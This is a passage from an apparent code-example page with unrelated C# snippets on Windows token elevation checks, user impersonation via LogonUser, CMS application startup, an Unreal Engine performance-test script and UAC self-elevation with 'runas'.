                throw new Win32Exception();
            }

            // Determine whether system is running Windows Vista or later operating
            // systems (major version >= 6) because they support linked tokens, but
            // previous versions (major version < 6) do not.
            if (Environment.OSVersion.Version.Major >= 6)
            {
                // Running Windows Vista or later (major version >= 6).
                // Determine token type: limited, elevated, or default.

                // Allocate a buffer for the elevation type information.
                cbSize = sizeof(TOKEN_ELEVATION_TYPE);
                pElevationType = Marshal.AllocHGlobal(cbSize);
                if (pElevationType == IntPtr.Zero)
                {
                    throw new Win32Exception();
                }

                // Retrieve token elevation type information.
                if (!NativeMethods.GetTokenInformation(hToken,
                    TOKEN_INFORMATION_CLASS.TokenElevationType, pElevationType,
                    cbSize, out cbSize))
                {
                    throw new Win32Exception();
                }

                // Marshal the TOKEN_ELEVATION_TYPE enum from native to .NET.
                TOKEN_ELEVATION_TYPE elevType = (TOKEN_ELEVATION_TYPE)
                    Marshal.ReadInt32(pElevationType);

                // If limited, get the linked elevated token for further check.
                if (elevType == TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited)
                {
                    // Allocate a buffer for the linked token.
                    cbSize = IntPtr.Size;
                    pLinkedToken = Marshal.AllocHGlobal(cbSize);
                    if (pLinkedToken == IntPtr.Zero)
                    {
                        throw new Win32Exception();
                    }

                    // Get the linked token.
                    if (!NativeMethods.GetTokenInformation(hToken,
                        TOKEN_INFORMATION_CLASS.TokenLinkedToken, pLinkedToken,
                        cbSize, out cbSize))
                    {
                        throw new Win32Exception();
                    }

                    // Marshal the linked token value from native to .NET.
                    IntPtr hLinkedToken = Marshal.ReadIntPtr(pLinkedToken);
                    hTokenToCheck = new SafeTokenHandle(hLinkedToken);
                }
            }

            // CheckTokenMembership requires an impersonation token. If we just got
            // a linked token, it already is an impersonation token.  If we did not
            // get a linked token, duplicate the original into an impersonation
            // token for CheckTokenMembership.
            if (hTokenToCheck == null)
            {
                if (!NativeMethods.DuplicateToken(hToken,
                    SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
                    out hTokenToCheck))
                {
                    throw new Win32Exception();
                }
            }

            // Check if the token to be checked contains admin SID.
            WindowsIdentity id = new WindowsIdentity(hTokenToCheck.DangerousGetHandle());
            WindowsPrincipal principal = new WindowsPrincipal(id);
            fInAdminGroup = principal.IsInRole(WindowsBuiltInRole.Administrator);
        }
        finally
        {
            // Centralized cleanup for all allocated resources.
            if (hToken != null)
            {
                hToken.Close();
                hToken = null;
            }
            if (hTokenToCheck != null)
            {
                hTokenToCheck.Close();
                hTokenToCheck = null;
            }
            if (pElevationType != IntPtr.Zero)
            {
                Marshal.FreeHGlobal(pElevationType);
                pElevationType = IntPtr.Zero;
            }
            if (pLinkedToken != IntPtr.Zero)
            {
                Marshal.FreeHGlobal(pLinkedToken);
                pLinkedToken = IntPtr.Zero;
            }
        }

        return fInAdminGroup;
    }
Пример #41
0
    /// <summary>
    /// Performs the application initialization on the first request.
    /// </summary>
    private static void FirstRequestInitialization(object sender, EventArgs e)
    {
        // Initialized properly
        if (mApplicationInitialized == true)
        {
            return;
        }

        // Not initialized, must install
        if ((mApplicationInitialized == false) && InstallerFunctions.InstallRedirect(true))
        {
            return;
        }

        // Do not init application on request to just physical file
        string relativePath = URLHelper.CurrentRelativePath;
        ExcludedSystemEnum excludedEnum = URLHelper.IsExcludedSystemEnum(relativePath);
        if (excludedEnum == ExcludedSystemEnum.PhysicalFile)
        {
            return;
        }

        // Initialize application in a locked context
        lock (mLock)
        {
            if (ApplicationInitialized)
            {
                return;
            }

            // Remember date and time of the application start
            mApplicationStart = DateTime.Now;

            // Init run from web applicaiton - DON'T MOVE LATER
            SystemHelper.IsWebSite = true;

            mWindowsIdentity = WindowsIdentity.GetCurrent();

            ViewModeOnDemand viewMode = new ViewModeOnDemand();

            // Log application start
            if (CMSFunctions.AnyDebugEnabled)
            {
                RequestSettings settings = RequestSettings.Current;
                bool liveSite = (viewMode.Value == ViewModeEnum.LiveSite);

                settings.DebugRequest = RequestHelper.DebugRequests && liveSite;
                RequestHelper.LogRequestOperation("BeforeApplicationStart", null, 0);

                settings.DebugSQLQueries = SqlHelperClass.DebugQueries && liveSite;
                settings.DebugFiles = File.DebugFiles && liveSite;
                settings.DebugCache = CacheHelper.DebugCache && liveSite;
                settings.DebugSecurity = SecurityHelper.DebugSecurity && liveSite;
                settings.DebugOutput = OutputHelper.DebugOutput && liveSite;
                settings.DebugMacros = MacroResolver.DebugMacros && liveSite;
                settings.DebugWebFarm = WebSyncHelperClass.DebugWebFarm && liveSite;
                settings.DebugAnalytics = AnalyticsHelper.DebugAnalytics && liveSite;

                DebugHelper.SetContext("App_Start");
            }

            // Handle the event
            var h = CMSApplicationEvents.Start.StartEvent(e);
            if (h.Continue)
            {
                //ConnectionHelper.UseContextConnection = true;
                //CacheHelper.CacheItemPriority = System.Web.Caching.CacheItemPriority.NotRemovable;

                if (SqlHelperClass.IsConnectionStringInitialized)
                {
                    using (CMSConnectionScope scope = new CMSConnectionScope())
                    {
                        // Use single open connection for the application start
                        GeneralConnection conn = (GeneralConnection)scope.Connection;
                        bool closeConnection = false;
                        try
                        {
                            // Open the connection
                            conn.Open();
                            closeConnection = true;

                            // Check for the table existence
                            if (!TableManager.TableExists("CMS_SettingsKey"))
                            {
                                mApplicationInitialized = false;

                                if (InstallerFunctions.InstallRedirect(true))
                                {
                                    return;
                                }
                            }

                            // Check the version
                            string version = SettingsKeyProvider.GetStringValue("CMSDBVersion");
                            if (version != CMSContext.SYSTEM_VERSION)
                            {
                                // Report error about not being able to connect
                                mConnectionErrorMessage = "The database version '" + version + "' does not match the project version '" + CMSContext.SYSTEM_VERSION + "', please check your connection string.";
                                HttpContext.Current.Server.Transfer("~/CMSMessages/error.aspx");
                            }
                            else
                            {
                                // Initialize the environment
                                CMSFunctions.Init();

                                // Update the system !! IMPORTANT - must be first
                                UpgradeProcedure.Update(conn);
                                try
                                {
                                    // Write "Application start" event to the event log
                                    EventLogProvider ev = new EventLogProvider();

                                    ev.DeleteOlderLogs = false;
                                    ev.LogEvent(EventLogProvider.EVENT_TYPE_INFORMATION, DateTime.Now, "Application_Start", "STARTAPP", 0, null, 0, null, null, null, 0, HTTPHelper.GetAbsoluteUri());
                                }
                                catch
                                {
                                    // can't write to log, do not process any code
                                }
                                UserInfoProvider.OnFormattedUserName += new UserInfoProvider.FormattedUserNameEventHandler(Functions.GetFormattedUserName);

                                // Delete memory synchronization tasks
                                WebSyncHelper.DeleteMemorySynchronizationTasks();

                                // Create web farm server if running on Azure
                                if (AzureHelper.IsRunningOnAzure)
                                {
                                    // Set webfarm server name
                                    WebSyncHelperClass.ServerName = ValidationHelper.GetCodeName(AzureHelper.CurrentInstanceID);

                                    if (WebFarmServerInfoProvider.GetWebFarmServerInfo(WebSyncHelperClass.ServerName) == null)
                                    {
                                        // Create webfarm server
                                        WebFarmServerInfo wfsi = new WebFarmServerInfo();
                                        wfsi.ServerName = WebSyncHelperClass.ServerName;
                                        wfsi.ServerEnabled = true;
                                        wfsi.ServerDisplayName = AzureHelper.CurrentInstanceID;
                                        wfsi.ServerURL = AzureHelper.CurrentInternalEndpoint;

                                        WebFarmServerInfoProvider.SetWebFarmServerInfo(wfsi);
                                    }
                                }

                                // Wait until initialization is complete
                                CMSFunctions.WaitForInitialization();
                            }
                        }
                        catch (Exception ex)
                        {
                            if (closeConnection)
                            {
                                // Server connected succesfully but something else went wrong
                                throw ex;
                            }
                            else
                            {
                                // Report error about not being able to connect
                                mConnectionErrorMessage = ex.Message;

                                HttpContext.Current.Server.Transfer("~/CMSMessages/error.aspx");
                            }
                        }
                        finally
                        {
                            if (closeConnection)
                            {
                                // Close the connection
                                conn.Close();
                            }
                        }
                    }
                }
                else
                {
                    // Register virtual path provider
                    if (ValidationHelper.GetBoolean(SettingsHelper.AppSettings["CMSUseVirtualPathProvider"], true))
                    {
                        CMS.VirtualPathHelper.VirtualPathHelper.RegisterVirtualPathProvider();
                    }
                }

                // Register the CMS view engine
                CMSViewEngine.RegisterViewEngine();
            }

            // Finalize the event
            h.FinishEvent();

            DebugHelper.ReleaseContext();

            // Log when the overall application start finished its execution
            mApplicationStartFinished = DateTime.Now;
            mApplicationInitialized = true;

            RequestHelper.LogRequestOperation("AfterApplicationStart", null, 0);
        }
    }
Пример #42
0
    private Impersonation(String username, String domain, String password, LogonType logonType, BuiltinUser builtinUser)
    {
        switch (builtinUser)
            {
                case BuiltinUser.None: if (String.IsNullOrEmpty(username)) return; break;
                case BuiltinUser.LocalService: username = "******"; break;
                case BuiltinUser.NetworkService: username = "******"; break;
            }

            IntPtr userToken = IntPtr.Zero;
            IntPtr userTokenDuplication = IntPtr.Zero;

            // Logon with user and get token.
            bool loggedOn = LogonUser(username, domain, password,
                logonType, LogonProvider.Default,
                out userToken);

            if (loggedOn)
            {
                try
                {
                    // Create a duplication of the usertoken, this is a solution
                    // for the known bug that is published under KB article Q319615.
                    if (DuplicateToken(userToken, 2, ref userTokenDuplication))
                    {
                        // Create windows identity from the token and impersonate the user.
                        WindowsIdentity identity = new WindowsIdentity(userTokenDuplication);
                        _impersonationContext = identity.Impersonate();
                    }
                    else
                    {
                        // Token duplication failed!
                        // Use the default ctor overload
                        // that will use Mashal.GetLastWin32Error();
                        // to create the exceptions details.
                        throw new Win32Exception();
                    }
                }
                finally
                {
                    // Close usertoken handle duplication when created.
                    if (!userTokenDuplication.Equals(IntPtr.Zero))
                    {
                        // Closes the handle of the user.
                        CloseHandle(userTokenDuplication);
                        userTokenDuplication = IntPtr.Zero;
                    }

                    // Close usertoken handle when created.
                    if (!userToken.Equals(IntPtr.Zero))
                    {
                        // Closes the handle of the user.
                        CloseHandle(userToken);
                        userToken = IntPtr.Zero;
                    }
                }
            }
            else
            {
                // Logon failed!
                // Use the default ctor overload that
                // will use Mashal.GetLastWin32Error();
                // to create the exceptions details.
                throw new Win32Exception();
            }
    }
Пример #43
0
    public override void ExecuteBuild()
    {
        Log("*********************** TestGamePerf");

        string UserName = "******";
        string Password = "******";
        string Domain = "epicgames.net";
        string FileName = string.Format("UStats_{0:MM-d-yyyy_hh-mm-ss-tt}.csv", DateTime.Now);
        string Exe = CombinePaths(CmdEnv.LocalRoot, "Engine", "Binaries", "Win64", "UE4Editor.exe");

        string ClientLogFile = "";
        string CmdLine = "";
        string UStatsPath = "";

        string LevelParam = ParseParamValue("level", "");

        #region Arguments
        switch (LevelParam)
        {
            case "PerfShooterGame_Santuary":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "ShooterGame.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "ShooterGame", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "ShooterGame", "ShooterGame.uproject ") + CmdEnv.LocalRoot + @"/ShooterGame/Content/Maps/TestMaps/Sanctuary_PerfLoader.umap?game=ffa -game -novsync";
                break;

            case "PerfShooterGame_Highrise":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "ShooterGame.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "ShooterGame", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "ShooterGame", "ShooterGame.uproject ") + CmdEnv.LocalRoot + @"/ShooterGame/Content/Maps/TestMaps/Highrise_PerfLoader.umap?game=ffa -game -novsync";
                break;

            case "PerfHoverShip":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "HoverShip.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "SampleGames", "HoverShip", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "HoverShip", "HoverShip.uproject ") + CmdEnv.LocalRoot + @"/Samples/HoverShip/Content/Maps/HoverShip_01.umap -game -novsync";
                break;

            case "PerfInfiltrator":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "Infiltrator.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "Infiltrator", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "Infiltrator", "Infiltrator.uproject ") + CmdEnv.LocalRoot + @"/Samples/Showcases/Infiltrator/Content/Maps/TestMaps/Visuals/VIS_ArtDemo_PerfLoader.umap -game -novsync";
                break;

            case "PerfElemental":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "Elemental.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "Elemental", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "Elemental", "Elemental.uproject ") + CmdEnv.LocalRoot + @"/Samples/Showcases/Elemental/Content/Misc/Automated_Perf/Elemental_PerfLoader.umap -game -novsync";
                break;

            case "PerfStrategyGame":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "StrategyGame.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "StrategyGame", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "StrategyGame", "StrategyGame.uproject ") + CmdEnv.LocalRoot + @"/StrategyGame/Content/Maps/TestMaps/TowerDefenseMap_PerfLoader.umap -game -novsync";
                break;

            case "PerfVehicleGame":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "VehicleGame.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "VehicleGame", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "VehicleGame", "VehicleGame.uproject ") + CmdEnv.LocalRoot + @"/VehicleGame/Content/Maps/TestMaps/VehicleTrack_PerfLoader.umap -game -novsync";
                break;

            case "PerfPlatformerGame":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "PlatformerGame.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "PlatformerGame", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "PlatformerGame", "PlatformerGame.uproject ") + CmdEnv.LocalRoot + @"/PlatformerGame/Content/Maps/Platformer_StreetSection.umap -game -novsync";
                break;

            case "PerfLanderGame":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "LanderGame.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "LanderGame", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "LanderGame", "LanderGame.uproject ") + CmdEnv.LocalRoot + @"/LanderGame/Content/Maps/sphereworld.umap -game -novsync";
                break;

            case "PerfDemoLets_DynamicLighting":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "DemoLets_DynamicLighting.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "DemoLets", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "DemoLets", "DemoLets.uproject ") + CmdEnv.LocalRoot + @"/BasicMaterials/Content/Maps/Performance/Demolet_DynamicLighting_PerfLoader.umap -game -novsync";
                break;

            case "PerfDemoLets_BasicMaterials":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "DemoLets_BasicMaterials.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "DemoLets", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "DemoLets", "DemoLets.uproject ") + CmdEnv.LocalRoot + @"/EffectsGallery/Content/Maps/Performance/BasicMaterials_PerfLoader.umap -game -novsync";
                break;

            case "PerfDemoLets_DemoRoom":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "DemoLets_DemoRoom.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "DemoLets", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "DemoLets", "DemoLets.uproject ") + CmdEnv.LocalRoot + @"/EffectsGallery/Content/Maps/Performance/DemoRoom_Effects_hallway_PerfLoader.umap -game -novsync";
                break;

            case "PerfDemoLets_Reflections":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "DemoLets_Reflections.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "DemoLets", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "DemoLets", "DemoLets.uproject ") + CmdEnv.LocalRoot + @"/EffectsGallery/Content/Maps/Performance/DemoLet_Reflections_PerfLoader.umap -game -novsync";
                break;

            case "PerfDemoLets_PostProcessing":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "DemoLets_PostProcessing.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "DemoLets", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "DemoLets", "DemoLets.uproject ") + CmdEnv.LocalRoot + @"/EffectsGallery/Content/Maps/Performance/Demolet_PostProcessing_PerfLoader.umap -game -novsync";
                break;

            case "PerfDemoLets_Physics":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "DemoLets_Physics.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "DemoLets", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "DemoLets", "DemoLets.uproject ") + CmdEnv.LocalRoot + @"/EffectsGallery/Content/Maps/Performance/Demolet_Physics_PerfLoader.umap -game -novsync";
                break;

            case "PerfDemoLets_ShadowMaps":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "DemoLets_ShadowMaps.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "DemoLets", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "DemoLets", "DemoLets.uproject ") + CmdEnv.LocalRoot + @"/EffectsGallery/Content/Maps/Performance/Demolet_CascadingShadowMaps_PerfLoader.umap -game -novsync";
                break;

            case "PerfDemoLets_Weather":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "DemoLets_Weather.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "DemoLets", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "DemoLets", "DemoLets.uproject ") + CmdEnv.LocalRoot + @"/EffectsGallery/Content/Maps/Performance/dynamic_weather_selector_PerfLoader.umap -game -novsync";
                break;

            case "PerfRealisticRendering_RoomNight":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "RealisticRendering_RoomNight.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "ShowCases", "RealisticRendering", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "RealisticRendering", "RealisticRendering.uproject ") + CmdEnv.LocalRoot + @"/RealisticRendering/Content/Maps/Performance/RoomNight_PerfLoader.umap -game -novsync";
                break;

            case "PerfRealisticRendering_NoLight":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "RealisticRendering_NoLight.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "ShowCases", "RealisticRendering", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "RealisticRendering", "RealisticRendering.uproject ") + CmdEnv.LocalRoot + @"/RealisticRendering/Content/Maps/Performance/RoomNightNoLights_PerfLoader.umap -game -novsync";
                break;

            case "PerfRealisticRendering_Room":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "RealisticRendering_Room.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "ShowCases", "RealisticRendering", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "RealisticRendering", "RealisticRendering.uproject ") + CmdEnv.LocalRoot + @"/RealisticRendering/Content/Maps/Performance/Room_PerfLoader.umap -game -novsync";
                break;

            case "PerfMorphTargets":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "MorphTargets.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "ShowCases", "MorphTargets", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "MorphTargets", "MorphTargets.uproject ") + CmdEnv.LocalRoot + @"/MorphTargets/Content/Maps/Performance/MorphTargets_PerfLoader.umap -game -novsync";
                break;

            case "PerfMatinee":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "Matinee.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "ShowCases", "PostProcessMatinee", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "PostProcessMatinee", "PostProcessMatinee.uproject ") + CmdEnv.LocalRoot + @"/PostProcessMatinee/Content/Maps/Performance/PostProcessMatinee_PerfLoader.umap -game -novsync";
                break;

            case "PerfLandScape":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "LandScape.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "ShowCases", "Landscape_WorldMachine", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "Landscape_WorldMachine", "Landscape_WorldMap.uproject ") + CmdEnv.LocalRoot + @"/Landscape_WorldMachine/Content/Maps/Performance/LandscapeMap_PerfLoader.umap -game -novsync";
                break;

            case "PerfLandScape_Moutain":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "LandScape_Moutain.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "ShowCases", "Landscape", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "Landscape", "Landscape.uproject ") + CmdEnv.LocalRoot + @"/Landscape/Content/Maps/Performance/MoutainRange_PerfLoader.umap -game -novsync";
                break;

            case "PerfMobile":
                ClientLogFile = CombinePaths(CmdEnv.LogFolder, "Mobile.txt");
                UStatsPath = CombinePaths(CmdEnv.LocalRoot, "Samples", "ShowCases", "Mobile", "Saved", "Profiling", "UnrealStats");
                CmdLine = CombinePaths(CmdEnv.LocalRoot, "Samples", "Showcases", "Mobile", "Mobile.uproject ") + CmdEnv.LocalRoot + @"/Mobile/Content/Maps/Performance/Testmap_PerfLoader.umap -game -novsync";
                break;

            case "PerfSampleGames":
                ClientLogFile = CmdEnv.LogFolder;
                break;

            default:
                break;
        }
        #endregion

        try
        {
            SafeTokenHandle SafeToken;

            int LogonInteractive = 2;
            int ProviderDefualt = 0;

            /*bool bLogonSuccess = */
            LogonUser(UserName, Domain, Password, LogonInteractive, ProviderDefualt, out SafeToken);

            using (SafeToken)
            {
                using (WindowsIdentity NewUser = new WindowsIdentity(SafeToken.DangerousGetHandle()))
                {
                    using (WindowsImpersonationContext TestAccount = NewUser.Impersonate())
                    {
                        if (LevelParam == "PerfSampleGames")
                        {

                        }
                        else
                        {
                            if (!File.Exists(ClientLogFile))
                            {
                                Log("Creating log file");

                                File.Create(ClientLogFile).Close();

                                Log(ClientLogFile);

                                Log("Log file created");
                            }

                            RunAndLog(Exe, CmdLine, ClientLogFile);
                        }

                        DirectoryInfo[] UStatsDirectories = new DirectoryInfo(UStatsPath).GetDirectories();
                        DirectoryInfo CurrentUStatsDirectory = UStatsDirectories[0];

                        for (int i = 0; i < UStatsDirectories.Length; i++)
                        {
                            if (UStatsDirectories[i].LastWriteTime > CurrentUStatsDirectory.LastWriteTime)
                            {
                                CurrentUStatsDirectory = UStatsDirectories[i];
                            }
                        }

                        FileInfo[] UStatsFilePaths = new DirectoryInfo(CurrentUStatsDirectory.FullName).GetFiles();
                        FileInfo CurrentUStatsFilePath = UStatsFilePaths[0];

                        for (int i = 0; i < UStatsFilePaths.Length; i++)
                        {
                            if (UStatsFilePaths[i].LastWriteTime > CurrentUStatsFilePath.LastWriteTime)
                            {
                                CurrentUStatsFilePath = UStatsFilePaths[i];
                            }
                        }
                        try
                        {
                            string FrontEndExe = CombinePaths(CmdEnv.LocalRoot, "Engine", "Binaries", "Win64", "UnrealFrontend.exe");

                            CmdLine = " -run=convert -infile=" + CurrentUStatsFilePath.FullName + @" -outfile=D:\" + FileName + " -statlist=GameThread+RenderThread+StatsThread+STAT_FrameTime+STAT_PhysicalAllocSize+STAT_VirtualAllocSize";

                            RunAndLog(FrontEndExe, CmdLine, ClientLogFile);
                        }

                        catch (Exception Err)
                        {
                            Log(Err.Message);
                        }
                    }
                }
            }
        }

        catch (Exception Err)
        {
            Log(Err.Message);
        }
    }
 internal SqlConnectionContainer(SqlDependencyProcessDispatcher.SqlConnectionContainerHashHelper hashHelper, string appDomainKey, bool useDefaults)
 {
     IntPtr ptr;
     this._defaultWaitforTimeout = 0xea60;
     this._objectID = Interlocked.Increment(ref _objectTypeCount);
     Bid.NotificationsScopeEnter(out ptr, "<sc.SqlConnectionContainer|DEP> %d#, queue: '%ls'", this.ObjectID, hashHelper.Queue);
     bool flag = false;
     try
     {
         this._hashHelper = hashHelper;
         string str = null;
         if (useDefaults)
         {
             str = Guid.NewGuid().ToString();
             this._queue = "SqlQueryNotificationService-" + str;
             this._hashHelper.ConnectionStringBuilder.ApplicationName = this._queue;
         }
         else
         {
             this._queue = this._hashHelper.Queue;
         }
         this._con = new SqlConnection(this._hashHelper.ConnectionStringBuilder.ConnectionString);
         ((SqlConnectionString) this._con.ConnectionOptions).CreatePermissionSet().Assert();
         this._con.Open();
         this._cachedServer = this._con.DataSource;
         if (!this._con.IsYukonOrNewer)
         {
             throw SQL.NotificationsRequireYukon();
         }
         if (hashHelper.Identity != null)
         {
             this._windowsIdentity = DbConnectionPoolIdentity.GetCurrentWindowsIdentity();
         }
         this._escapedQueueName = SqlConnection.FixupDatabaseTransactionName(this._queue);
         this._appDomainKeyHash = new Dictionary<string, int>();
         this._com = new SqlCommand();
         this._com.Connection = this._con;
         this._com.CommandText = "select is_broker_enabled from sys.databases where database_id=db_id()";
         if (!((bool) this._com.ExecuteScalar()))
         {
             throw SQL.SqlDependencyDatabaseBrokerDisabled();
         }
         this._conversationGuidParam = new SqlParameter("@p1", SqlDbType.UniqueIdentifier);
         this._timeoutParam = new SqlParameter("@p2", SqlDbType.Int);
         this._timeoutParam.Value = 0;
         this._com.Parameters.Add(this._timeoutParam);
         flag = true;
         this._receiveQuery = "WAITFOR(RECEIVE TOP (1) message_type_name, conversation_handle, cast(message_body AS XML) as message_body from " + this._escapedQueueName + "), TIMEOUT @p2;";
         if (useDefaults)
         {
             this._sprocName = SqlConnection.FixupDatabaseTransactionName("SqlQueryNotificationStoredProcedure-" + str);
             this.CreateQueueAndService(false);
         }
         else
         {
             this._com.CommandText = this._receiveQuery;
             this._endConversationQuery = "END CONVERSATION @p1; ";
             this._concatQuery = this._endConversationQuery + this._receiveQuery;
         }
         bool appDomainStart = false;
         this.IncrementStartCount(appDomainKey, out appDomainStart);
         this.SynchronouslyQueryServiceBrokerQueue();
         this._timeoutParam.Value = this._defaultWaitforTimeout;
         this.AsynchronouslyQueryServiceBrokerQueue();
     }
     catch (Exception exception)
     {
         if (!ADP.IsCatchableExceptionType(exception))
         {
             throw;
         }
         ADP.TraceExceptionWithoutRethrow(exception);
         if (flag)
         {
             this.TearDownAndDispose();
         }
         else
         {
             if (this._com != null)
             {
                 this._com.Dispose();
                 this._com = null;
             }
             if (this._con != null)
             {
                 this._con.Dispose();
                 this._con = null;
             }
         }
         throw;
     }
     finally
     {
         Bid.ScopeLeave(ref ptr);
     }
 }
Пример #45
0
        static void Main(String[] args)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);

            // Attempt to open a restricted resource (see if we're administrator)
            frmSplash splash = new frmSplash();

            splash.Show();
            try
            {
                StringBuilder argString = new StringBuilder();

#if !DEBUG
                WindowsIdentity  identity  = WindowsIdentity.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(identity);
                if (Environment.OSVersion.Platform == PlatformID.Win32NT &&
                    !principal.IsInRole(WindowsBuiltInRole.Administrator))
                {
                    string cmdLine = Environment.CommandLine.Substring(Environment.CommandLine.IndexOf(".exe") + 4);
                    cmdLine = cmdLine.Contains(' ') ? cmdLine.Substring(cmdLine.IndexOf(" ")) : null;
                    ProcessStartInfo psi = new ProcessStartInfo(Assembly.GetEntryAssembly().Location, cmdLine);
                    psi.Verb = "runas";
                    Trace.TraceInformation("Not administrator!");
                    Process proc = Process.Start(psi);
                    Application.Exit();
                    return;
                }
#endif

                // Scan for configuration options
                ScanAndLoadPluginFiles();
                splash.Close();
#if DEBUG
                ConfigurationApplicationContext.s_configFile = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "ClientRegistry.exe.config.test");
#else
                ConfigurationApplicationContext.s_configFile = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "ClientRegistry.exe.config");
#endif

                ParameterParser <ConsoleParameters> parser = new ParameterParser <ConsoleParameters>();

                var consoleParms = parser.Parse(args);

                if (consoleParms.ListDeploy)
                {
                    StringBuilder options = new StringBuilder("Available deployment modules: \r\n");
                    foreach (var pnl in ConfigurationApplicationContext.s_configurationPanels.FindAll(o => o is IAutoDeployConfigurationPanel))
                    {
                        options.AppendFormat("{0}\r\n", pnl.Name);
                    }
                    MessageBox.Show(options.ToString());
                }
                else if (consoleParms.Deploy != null && consoleParms.Deploy.Count > 0)
                {
                    try
                    {
                        DeployUtil.Deploy(consoleParms.Deploy, consoleParms.Options);
                        ConfigurationApplicationContext_ConfigurationApplied(null, EventArgs.Empty);
                    }
                    catch (Exception e)
                    {
